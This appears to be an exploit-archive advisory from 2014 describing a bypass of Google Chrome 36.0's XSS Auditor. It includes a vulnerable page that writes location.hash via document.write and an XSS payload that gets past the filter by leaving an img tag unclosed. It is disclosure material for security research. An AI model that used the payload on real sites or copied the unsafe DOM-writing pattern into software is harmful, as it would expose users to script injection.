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Google Chrome 36.0 XSS Auditor Bypass

Google Chrome 36.0 XSS Auditor Bypass
Posted Sep 1, 2014
Authored by Rafay Baloch

Google chrome XSS auditor was found prone to a bypass when the user input passed though location.hash was being written to the DOM by using document.write property. Normally, XSS auditor checks XSS by comparing the request and response however, it also checks for request itself, if it contains an untrusted input to prevent DOM XSS as well.

tags | exploit, bypass
SHA-256 | 1726b972e5f7b81516b54d146c54fb1608b841f8ba39f275b51934e65215d5cd

Google Chrome 36.0 XSS Auditor Bypass

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#Vulnerability: Google Chrome 36.0 XSS Auditor Bypass
#Impact: Moderate
#Authors: Rafay Baloch
#Company: RHAInfoSec
#Website: http://rhainfosec.com
#version: Latest

Description

Google chrome XSS auditor was found prone to a bypass when the user input
passed though location.hash was being written to the DOM by using
document.write property. Normally, XSS auditor checks XSS by comparing the
request and response however, it also checks for request itself, if it
contains an untrusted input to prevent DOM XSS as well.


Proof Of concept:

Consider the following code:

<html>
<body>
<script type="text/javascript">
document.write(location.hash);
</script>
</body>
</html>


This takes input from location.hash property and writes it to the DOM. We
initially inject the following payload:
#<img src=x onerror=prompt(1)>. The request is blocked and the following
error is returned:

"
The XSS Auditor refused to execute a script in 'attacker.com#><img src=x
onerror=prompt(1)>' because its source code was found within the request.
The auditor was enabled as the server sent neither an 'X-XSS-Protection'
nor 'Content-Security-Policy' header."

However, the following vector passes by:

#<img src=x onerror=prompt(1)//


The following is how its reflected inside of DOM:

<img src="x" onerror="prompt(1)//" <="" body="">

As you can clearly witness that the user supplied input has been mutated
which has lead to XSS auditor bypass.


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